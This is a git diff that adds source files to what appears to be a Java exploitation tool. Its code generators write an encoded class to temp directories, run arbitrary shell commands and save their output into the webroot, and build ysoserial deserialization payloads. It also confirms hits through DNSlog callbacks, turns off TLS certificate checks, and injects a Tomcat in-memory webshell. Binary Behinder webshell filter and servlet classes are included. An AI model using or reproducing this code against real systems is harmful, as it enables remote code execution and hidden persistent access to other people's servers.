AAMBBwA9AAEBBwCmAAD/ACgACAcAAwEHAD0HAIwBAQcApgcAAwAA/wAQAAwHAAMBBwA9BwCMAQEHAKYHAAMAAQEHAJsAAA//AAkACAcAAwEHAD0HAIwBAQcApgcAAwABBwCC/wAAAAcHAAMBBwA9AAEBBwCmAAACAAEAqAAAAAIAqQ=="; + + byte[] bytes = null; + BASE64Decoder decoder = new BASE64Decoder(); + try { + bytes = decoder.decodeBuffer(content); + } catch (IOException e) { + //pass + } + + int start = i * 1600; + int end = ((start + 1600) < bytes.length) ? (start + 1600) : bytes.length; + byte[] temp = Arrays.copyOfRange(bytes, start, end); + + BASE64Encoder encoder = new BASE64Encoder(); + String part = encoder.encode(temp).replaceAll("\r|\n|\r\n", ""); + + + + String code = "String path;\n" + + " if (java.io.File.separator.equals(\"/\")) {\n" + + " path = \"/tmp/PoC.class\";\n" + + " }else{\n" + + " path = \"c:/windows/temp/PoC.class\";\n" + + " }\n" + + " java.io.OutputStream os = new java.io.FileOutputStream(path," + (i != 0) + ");\n" + + " sun.misc.BASE64Decoder d = new sun.misc.BASE64Decoder();\n" + + " java.io.InputStream in = new java.io.ByteArrayInputStream(d.decodeBuffer(\"" + part + "\"));\n" + + " byte[] f = new byte[1024];\n" + + " int l = 0;\n" + + " while((l=in.read(f))!=-1){\n" + + " os.write(f, 0, l);\n" + + " }\n" + + " in.close();\n" + + " os.close();"; + + return code; + } + + + public static String wirteFileEcho(String command){ + String path = command.split(":",4)[2]; + String cmd = command.split(":",4)[3]; + cmd = cmd.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\""); + + String code = "String[] c = new String[3];\n" + + " String p = Thread.currentThread().getContextClassLoader().getResource(\"\").getPath();\n" + + " p = p.substring(0, p.indexOf(\"WEB-INF\"));\n" + + " p = java.net.URLDecoder.decode(p,\"utf-8\");\n" + + " if(java.io.File.separator.equals(\"/\")){\n" + + " c[0] = \"/bin/bash\";\n" + + " c[1] = \"-c\";\n" + + " }else{\n" + + " c[0] = \"cmd\";\n" + + " c[1] = \"/C\";\n" + + " }\n" + + " c[2] = \"" + cmd + "\";\n" + + " java.io.InputStream in = Runtime.getRuntime().exec(c).getInputStream();\n" + + " String x = p + \"" + path + "\";\n" + + " java.io.FileOutputStream os = new java.io.FileOutputStream(x);\n" + + " byte[] buffer = new byte[1024];\n" + + " int len = 0;\n" + + " while((len = in.read(buffer)) != -1) {\n" + + " os.write(buffer, 0, len);\n" + + " }\n" + + " in.close();\n" + + " os.close();"; + + return code; + } +} \ No newline at end of file diff --git a/src/main/java/io/github/exp1orer/util/Config.java b/src/main/java/io/github/exp1orer/util/Config.java new file mode 100644 index 0000000..8f96c82 --- /dev/null +++ b/src/main/java/io/github/exp1orer/util/Config.java @@ -0,0 +1,42 @@ +package io.github.exp1orer.util; + +import io.github.exp1orer.server.LDAPServer; + +import java.io.*; +import java.util.Properties; + +public class Config { + private Config() {} + + static { + // 必须配置项 + String[] keys = new String[]{ "Api", "Token", "Domain", "EnableLDAPLog", "EnableHttpLog"}; + String pwd = System.getProperty("user.dir"); + Properties properties = new Properties(); + try { + BufferedReader br = new BufferedReader(new FileReader(pwd + File.separator + "config.properties")); + properties.load(br); + + for (String key : keys) { + if (properties.getProperty(key) == null) { + System.out.println(String.format("%s不能为空,请检查配置文件.")); + System.exit(1); + } + + Dnslog.platform = properties.getProperty("Platform"); + Dnslog.api = properties.getProperty("Api"); + Dnslog.token = properties.getProperty("Token"); + Dnslog.rootDomain = properties.getProperty("Domain"); + Dnslog.sleep = properties.getProperty("Sleep") == null ? 5 : Long.parseLong(properties.getProperty("Sleep")); + LDAPServer.enableLDAPLog = "True".equalsIgnoreCase(properties.getProperty("EnableLDAPLog")); + HttpUtil.enableHttpLog = "True".equalsIgnoreCase(properties.getProperty("EnableHttpLog")); + } + } catch (FileNotFoundException notFoundException) { + System.out.println("config.properties文件不能为空,必须配置DNSLOG!"); + System.exit(1); + } catch (IOException io) { + io.printStackTrace(); + System.exit(1); + } + } +} diff --git a/src/main/java/io/github/exp1orer/util/Dnslog.java b/src/main/java/io/github/exp1orer/util/Dnslog.java new file mode 100644 index 0000000..3436a77 --- /dev/null +++ b/src/main/java/io/github/exp1orer/util/Dnslog.java @@ -0,0 +1,43 @@ +package io.github.exp1orer.util; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONArray; +import com.alibaba.fastjson.JSONException; + +import java.io.*; +import java.util.Map; + +public class Dnslog { + public static String platform; + public static String api; + public static String token; + public static String rootDomain; + public static long sleep; + + public static String getRandomDomain(int length) { + String randomStr = Parser.getRandomStr(length); + return randomStr + "." + rootDomain; + + } + + public static boolean getRecord(String domain) { + String url = api.replace("{token}", token).replace("{filter}", domain); + boolean resp = HttpUtil.connection(url, "GET"); + try { + String responseBody = HttpUtil.getResponseBody(); + Map result = JSON.parseObject(responseBody, Map.class); + if (result == null || ((JSONArray) result.get("data")).size() == 0) { + return false; + } + } catch (IOException io) { + io.printStackTrace(); + return false; + } catch (JSONException jsonException) { + jsonException.printStackTrace(); + return false; + } + + return true; + } + +} diff --git a/src/main/java/io/github/exp1orer/util/GeneratePayload.java b/src/main/java/io/github/exp1orer/util/GeneratePayload.java new file mode 100644 index 0000000..b2dcae7 --- /dev/null +++ b/src/main/java/io/github/exp1orer/util/GeneratePayload.java @@ -0,0 +1,43 @@ +package io.github.exp1orer.util; + +import com.unboundid.util.Base64; +import ysoserial.Serializer; +import ysoserial.payloads.ObjectPayload; + +public class GeneratePayload { + public static String getPayload(String payloadType, String command) { + if (payloadType == null || command == null) { + return null; + } + + Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); + if (payloadClass == null) { + System.out.println("[-] Not support " + payloadType + " gadget."); + return null; + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + final Object object = payload.getObject(command); + byte[] serialize = Serializer.serialize(object); + return Base64.encode(serialize); + } catch (Throwable e) { + e.printStackTrace(); + } + + return null; + } + + public static String formatCommand(final String oldCommand) { + if (oldCommand.startsWith("ping=")) { + String[] split = oldCommand.split("="); + String key = split[0]; + String value = split[1]; + if ("ping".equalsIgnoreCase(key)) { + return String.format("ping -nc 1 %s", value); + } + } + + return oldCommand; + } +} diff --git a/src/main/java/io/github/exp1orer/util/HttpUtil.java b/src/main/java/io/github/exp1orer/util/HttpUtil.java new file mode 100644 index 0000000..8a769e6 --- /dev/null +++ b/src/main/java/io/github/exp1orer/util/HttpUtil.java @@ -0,0 +1,152 @@ +package io.github.exp1orer.util; + +import javax.net.ssl.*; +import java.io.*; +import java.net.*; +import java.security.KeyManagementException; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +public class HttpUtil { + public static InputStream respInputStream; + public static boolean enableHttpLog; + + static { + try { + SSLContext sslcontext = SSLContext.getInstance("SSL"); + sslcontext.init(null, new TrustManager[] { new miTM() }, null); + HostnameVerifier ignoreHostnameVerifier = new HostnameVerifier() { + @Override + public boolean verify(String s, SSLSession sslsession) { + return true; + } + }; + HttpsURLConnection.setDefaultHostnameVerifier(ignoreHostnameVerifier); + HttpsURLConnection.setDefaultSSLSocketFactory(sslcontext.getSocketFactory()); + } catch (NoSuchAlgorithmException e) { + e.printStackTrace(); + } catch (KeyManagementException e) { + e.printStackTrace(); + } + } + + private static class miTM implements TrustManager, X509TrustManager { + public boolean isServerTrusted(X509Certificate[] certs) { + return true; + } + + public boolean isClientTrusted(X509Certificate[] certs) { + return true; + } + + @Override + public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {} + + @Override + public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {} + + @Override + public X509Certificate[] getAcceptedIssuers() { + return null; + } + } + + public static boolean connection(String url, String method) { + return connection(url, method, null, null, null); + } + + public static boolean connection(String url, String method, Map headers) { + return connection(url, method, headers, null, null); + } + + public static boolean connection(String url, String method, Map headers, String body, Proxy proxy) { + HttpURLConnection conn; + + try { + conn = (HttpURLConnection) (proxy != null ? new URL(url).openConnection(proxy) : new URL(url).openConnection()); + conn.setInstanceFollowRedirects(false); + // 连接超时时间为15秒 + conn.setConnectTimeout(15000); + // 读取超时为30秒 + conn.setReadTimeout(30000); + conn.setRequestProperty("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0"); + if (headers != null) { + for (String key : headers.keySet()) { + conn.setRequestProperty(key, headers.get(key)); + } + } + if (method.equalsIgnoreCase("GET")) { + conn.setRequestMethod(method); + conn.connect(); + } else if (method.equalsIgnoreCase("POST")) { + conn.setDoOutput(true); + if (body != null) { + OutputStream os = conn.getOutputStream(); + os.write(body.getBytes()); + } + } + + Map> fields = conn.getHeaderFields(); + if (!fields.isEmpty()) { + // 不打印Dnslog平台请求 + if (!url.contains("ceye.io")) { + if (enableHttpLog) { + System.out.println("[*] Send Http Request: " + url); + } + } +// System.out.println(conn.getResponseCode()); + respInputStream = conn.getInputStream(); + } + + } catch (IOException ioException) { +// ioException.printStackTrace(); + return false; + } + + return true; + } + + public static String getResponseBody() throws IOException { + String line; + StringBuffer sb = new StringBuffer(); + if (respInputStream != null) { + BufferedReader br = new BufferedReader(new InputStreamReader(respInputStream)); + while ((line = br.readLine()) != null) { + sb.append(line); + } + } + + return sb.toString(); + } + + public static String normalzedUrl(String url) throws Exception { + Map parameter = new HashMap(); + URI uri = new URI(url); + String scheme = uri.getScheme(); + String host = uri.getHost(); + int port = uri.getPort(); + String path = uri.getPath(); + String[] querys = uri.getQuery().split("&"); + String key, value; + StringBuffer sb = new StringBuffer(); + + for (String query : querys) { + String[] split = query.split("="); + key = split[0]; + value = URLEncoder.encode(split[1]); + parameter.put(key, value); + } + + sb.append(scheme + "://" + host + (port == -1 ? "" : ":" +String.valueOf(port)) + path + "?"); + for (String tmp_key : parameter.keySet()) { + sb.append(tmp_key + "=" + parameter.get(tmp_key) + "&"); + } + sb.setLength(sb.length() - 1); + + return sb.toString(); + } +} diff --git a/src/main/java/io/github/exp1orer/util/MemoryShell.java b/src/main/java/io/github/exp1orer/util/MemoryShell.java new file mode 100644 index 0000000..05bb5e6 --- /dev/null +++ b/src/main/java/io/github/exp1orer/util/MemoryShell.java @@ -0,0 +1,112 @@ +package io.github.exp1orer.util; + +import javassist.*; + +import java.io.IOException; +import java.io.InputStream; +import java.util.Base64; + +public class MemoryShell { + private static MemoryShell instance = new MemoryShell(); + + private MemoryShell() {} + + public static MemoryShell getInstance() { + return instance; + } + + public static String process(String name) { + if ("".equals(name.trim()) || name == null) { + return ""; + } + + return instance.tomcatMemoryShell(name + ".class"); + + } + + /** + * Tomcat内存马注入 + * @param className 类名 + * @return + */ + private String tomcatMemoryShell(String className) { + String payload = renameClass("User", "MyObjectLoader.class"); + String bytecodes = renameClass("Login", className); + + String code = String.format("String payload = \"%s\";\n" + + " String version = System.getProperty(\"java.version\");\n" + + " byte[] bytecodes;\n" + + "\n" + + " try {\n" + + " if (version.compareTo(\"1.9\") >= 0) {\n" + + " Class base64 = Class.forName(\"java.util.Base64\");\n" + + " Object decoder = base64.getMethod(\"getDecoder\", null).invoke(base64, null);\n" + + " java.lang.reflect.Method[] methods = decoder.getClass().getMethods();\n" + + " java.lang.reflect.Method decode = null;\n" + + " for (int i = 0; i < methods.length; i++) {\n" + + " java.lang.reflect.Method method = methods[i];\n" + + " if (method.getName().equals(\"decode\") && method.getParameterTypes()[0].getName().equals(\"java.lang.String\")) {\n" + + " decode = method;\n" + + " }\n" + + " }\n" + + " bytecodes = (byte[]) decode.invoke(decoder, new Object[]{payload});\n" + + " } else {\n" + + " Class base64 = Class.forName(\"sun.misc.BASE64Decoder\");\n" + + " Object decoder = base64.newInstance();\n" + + " java.lang.reflect.Method[] methods = decoder.getClass().getMethods();\n" + + " java.lang.reflect.Method decodeBuffer = null;\n" + + " for (int i = 0; i < methods.length; i++) {\n" + + " java.lang.reflect.Method method = methods[i];\n" + + " if (method.getName().equals(\"decodeBuffer\") && method.getParameterTypes()[0].getName().equals(\"java.lang.String\")) {\n" + + " decodeBuffer = method;\n" + + " }\n" + + " }\n" + + " bytecodes = (byte[]) decodeBuffer.invoke(decoder, new Object[]{payload});\n" + + " }\n" + + "\n" + + " java.lang.reflect.Method[] methods = ClassLoader.class.getDeclaredMethods();\n" + + " java.lang.reflect.Method defineClassMethod = null;\n" + + " for (int i = 0; i < methods.length; i++) {\n" + + " java.lang.reflect.Method method = methods[i];\n" + + " if (method.getName().equals(\"defineClass\") && method.getParameterTypes().length == 3) {\n" + + " defineClassMethod = method;\n" + + " break;\n" + + " }\n" + + " }\n" + + " defineClassMethod.setAccessible(true);\n" + + " Class cc = (Class) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});\n" + + " java.lang.reflect.Constructor[] constructors = cc.getConstructors();\n" + + " java.lang.reflect.Constructor c = null;\n" + + " for (int i = 0; i < constructors.length; i++) {\n" + + " java.lang.reflect.Constructor constructor = constructors[i];\n" + + " if (constructor.getParameterCount() == 1 && constructor.getParameterTypes()[0].getName().equals(\"java.lang.String\")) {\n" + + " c = constructor;\n" + + " }\n" + + " }\n" + + " c.newInstance(new Object[]{\"%s\"});\n" + + " } catch (Exception e) {\n" + + " e.printStackTrace();\n" + + " }", payload, bytecodes); + return code; + } + + private String renameClass(String prefix, String resourceName) { + String bytecodes = ""; + ClassPool pool = ClassPool.getDefault(); + InputStream is = this.getClass().getResourceAsStream("/" + resourceName); + if (is == null) { + return ""; + } + + try { + CtClass ctClass = pool.makeClass(is); + ctClass.setName(prefix + System.nanoTime()); + byte[] bytes = ctClass.toBytecode(); + bytecodes = Base64.getEncoder().encodeToString(bytes); + } catch (IOException | CannotCompileException e) { + e.printStackTrace(); + } + + return bytecodes; + } +} diff --git a/src/main/java/io/github/exp1orer/util/Parser.java b/src/main/java/io/github/exp1orer/util/Parser.java new file mode 100644 index 0000000..4ba0e86 --- /dev/null +++ b/src/main/java/io/github/exp1orer/util/Parser.java @@ -0,0 +1,59 @@ +package io.github.exp1orer.util; + +import java.util.HashMap; +import java.util.Map; +import java.util.Random; + +public class Parser { + public Map parse(String[] args) { + Map argsMap = new HashMap(); + for (String arg : args) { + String[] strings = arg.split("=", 2); + argsMap.put(strings[0], strings[1]); + } + + return argsMap; + } + + public static Map parseHeaders(String headers) { + if (headers == null) { + return null; + } + Map map = new HashMap(); + String[] header = headers.split(";"); + String key; + String value; + for (String head : header) { + String[] strings = head.split(":", 2); + key = strings[0]; + value = strings[1]; + map.put(key, value); + } + + return map; + } + + public static String getRandomStr(int length) { + Random random = new Random(); + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < length; i++) { + int number = random.nextInt(3); + long result = 0; + switch (number) { + case 0: + result = Math.round(Math.random() * 25 + 65); + sb.append(String.valueOf((char) result)); + break; + case 1: + result = Math.round(Math.random() * 25 + 97); + sb.append(String.valueOf((char) result)); + break; + case 2: + sb.append(String.valueOf(new Random().nextInt(10))); + break; + } + } + + return sb.toString(); + } +} diff --git a/src/main/resources/BehinderFilter.class b/src/main/resources/BehinderFilter.class new file mode 100644 index 0000000000000000000000000000000000000000..b284bd454af3f162f25b7c073e9b0367897ca736 GIT binary patch literal 9897 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 literal 0 HcmV?d00001 diff --git a/src/main/resources/BehinderServlet.class b/src/main/resources/BehinderServlet.class new file mode 100644 index 0000000000000000000000000000000000000000..cac4e78c51468e8033ab2572c6bb0f17b7045610 GIT binary patch literal 13926 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 